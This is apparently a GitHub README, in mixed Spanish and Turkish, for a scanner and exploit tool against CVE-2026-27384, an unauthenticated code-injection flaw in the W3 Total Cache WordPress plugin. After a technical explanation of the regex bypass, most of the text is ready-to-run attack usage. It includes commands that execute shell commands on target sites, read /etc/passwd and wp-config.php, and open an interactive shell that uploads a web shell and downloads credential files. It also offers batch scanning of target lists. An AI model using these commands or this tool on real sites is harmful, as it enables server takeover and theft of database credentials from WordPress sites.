
Escáner automatizado y exploit para CVE-2026-27384, un RCE no autenticado en W3 Total Cache mediante inyección de mfunc/eval(). Incluye autodetección, 48 variantes de payload, shell interactiva y escaneo por lotes.
Plugin: W3 Total Cache Slug del plugin:
w3-total-cacheID de CVE: CVE-2026-27384 Puntuación CVSS: 9.8 (Crítica) Vector CVSS:CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HTipo de vulnerabilidad: Ejecución arbitraria de código sin autenticación (Inyección de código medianteeval()) Versiones afectadas: <= 2.9.1 Versión parcheada: 2.9.2 Fecha de publicación: 24 de febrero de 2026 Investigador: CODE WHITE GmbH
La función Dynamic Fragment Caching del plugin W3 Total Cache (sistema mfunc/mclude) ejecuta con eval() el código PHP incrustado en comentarios HTML. El token W3TC_DYNAMIC_SECURITY, que debería proteger esta función, puede omitirse mediante la combinación de varios errores de código.
Resultado: Sin necesidad de autenticación, se puede ejecutar código PHP arbitrario en el servidor simplemente enviando un comentario de WordPress.
| Campo | Valor |
|---|---|
| ID de CVE | CVE-2026-27384 |
| CVSS | 9.8 Crítica |
| Tipo | Inyección de código → RCE (CWE-94) |
| Versión afectada | <= 2.9.1 |
| Versión parcheada | 2.9.2 |
| Autenticación | No requerida |
| Interacción del usuario | No requerida |
| Requisito previo | W3TC_DYNAMIC_SECURITY debe contener metacaracteres de regex |
La función Dynamic Fragment Caching de W3TC permite a los desarrolladores incrustar código PHP en el HTML de la página mediante etiquetas de comentario especiales:
<!-- mfunc SECURITY_TOKEN
echo get_current_user_id();
-->
<!-- /mfunc SECURITY_TOKEN -->
W3TC procesa estas etiquetas al servir la página desde la caché: el PHP incrustado se ejecuta con eval() y su salida se escribe en lugar del bloque de comentario.
preg_quote() (PgCache_ContentGrabber.php)// VULNERABLE — 2.9.1
public function _parse_dynamic( $buffer ) {
$buffer = preg_replace_callback(
// ❌ W3TC_DYNAMIC_SECURITY doğrudan regex'e ekleniyor
// preg_quote() YOK → token regex pattern gibi davranır
'~<!--\s*mfunc\s*' . W3TC_DYNAMIC_SECURITY . '(.*)-->~Uis',
array( $this, '_parse_dynamic_mfunc' ),
$buffer
);
}
Si el token es '.', la regex se convierte en <!--\s*mfunc\s*.(.*)--> → cualquier carácter individual actúa como token.
\s* y \s+| Función | Patrón | Comportamiento |
|---|---|---|
_parse_dynamic() — ejecuta | mfunc\s*TOKEN | Acepta 0 espacios ✅ |
strip_dynamic_fragment_tags_from_string() — limpia | mfunc\s+TOKEN | Requiere al menos 1 espacio ❌ |
Saldırgan payload: <!-- mfuncA php_code --><!-- /mfuncA -->
↑
mfunc ile token arasında BOŞLUK YOK
strip fonksiyonu: \s+ → eşleşmez → payload KALIR
execution regex: \s* → eşleşir → eval() ÇALIŞIR
_has_dynamic())// VULNERABLE — 2.9.1
public function _has_dynamic( $buffer ) {
// ❌ Sadece defined() kontrolü — empty() veya metacharacter kontrolü YOK
if ( ! defined( 'W3TC_DYNAMIC_SECURITY' ) ) {
return false;
}
return preg_match(
'~<!--\s*m(func|clude)\s*' . W3TC_DYNAMIC_SECURITY . '(.*)-->~Uis',
$buffer
);
}
W3TC_DYNAMIC_SECURITY = '.' (regex metacharacter — herhangi bir karakter)
│
▼
Saldırgan yorum gönderir:
<!-- mfuncA echo shell_exec("id"); --><!-- /mfuncA -->
│
▼
strip_dynamic_fragment_tags_from_string()
Pattern: mfunc\s+[^\s]+ → \s+ gerektirir, boşluk yok → ATLATILDI ✅
│
▼
Yorum veritabanına kaydedilir, sayfa cache'lenir
│
▼
İkinci HTTP isteği → W3TC cache'den sunar
_has_dynamic() → mfunc\s*. → 'A' eşleşir → true döner
│
▼
_parse_dynamic() → preg_replace_callback
Pattern: mfunc\s*. → 'A' eşleşir
│
▼
_parse_dynamic_mfunc() → eval("echo shell_exec('id');")
│
▼
uid=33(www-data) gid=33(www-data) groups=33(www-data)
→ Unauthenticated RCE ✓
Sin autenticación, se puede ejecutar código PHP arbitrario en el servidor con los privilegios del servidor web:
git clone https://github.com/kullanici/cve-2026-27384
cd cve-2026-27384
pip install -r requirements.txt
requirements.txt
requests
beautifulsoup4
| Modo | Descripción |
|---|---|
auto | Escanea el sitio → encuentra la página de comentarios → explota (por defecto) |
exploit | Explotación directa — con la URL del post |
shell | Shell interactiva |
detect | Solo detección de W3TC |
python w3tc_rce.py https://hedef.com
El escáner hace lo siguiente:
# id komutu
python w3tc_rce.py https://hedef.com \
--mode exploit \
--post-url https://hedef.com/?p=1 \
--cmd id
# /etc/passwd oku
python w3tc_rce.py https://hedef.com \
--mode exploit \
--post-url https://hedef.com/?p=1 \
--cmd "cat /etc/passwd"
# wp-config.php oku
python w3tc_rce.py https://hedef.com \
--mode exploit \
--post-url https://hedef.com/?p=1 \
--cmd "cat /var/www/html/wp-config.php"
# Post ID manuel
python w3tc_rce.py https://hedef.com \
--mode exploit \
--post-url https://hedef.com/merhaba-dunya/ \
--post-id 1 \
--cmd whoami
python w3tc_rce.py https://hedef.com \
--mode shell \
--post-url https://hedef.com/?p=1
Cuando se abre la shell, se ejecutan automáticamente whoami, hostname, pwd y uname -a:
=================================================================
CVE-2026-27384 — W3TC mfunc Interactive Shell
URL : https://hedef.com/?p=1
Payload: b64_shell_exec (bypass='A')
=================================================================
User : www-data
Host : web01.hedef.com
PWD : /var/www/html
OS : Linux web01 5.15.0-91-generic #101-Ubuntu SMP
=================================================================
Komutlar: exit | upload <local> <remote> | download <remote>
=================================================================
┌──([email protected])
└─$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
┌──([email protected])
└─$ upload shell.php /var/www/html/shell.php
[+] Upload: shell.php → /var/www/html/shell.php
┌──([email protected])
└─$ download /var/www/html/wp-config.php
[+] Download: wp-config.php → wp-config.php (4821 bytes)
python w3tc_rce.py https://hedef.com --mode detect
[+] W3TC kurulu!
Sürüm : 2.9.1
Cache : True
[!] Sürüm 2.9.1 ZAFİYETLİ (<= 2.9.1)!
python w3tc_rce.py --list targets.txt -t 10 -o sonuclar.txt
python w3tc_rce.py https://hedef.com \
--mode exploit \
--post-url https://hedef.com/?p=1 \
--proxy http://127.0.0.1:8080 \
-v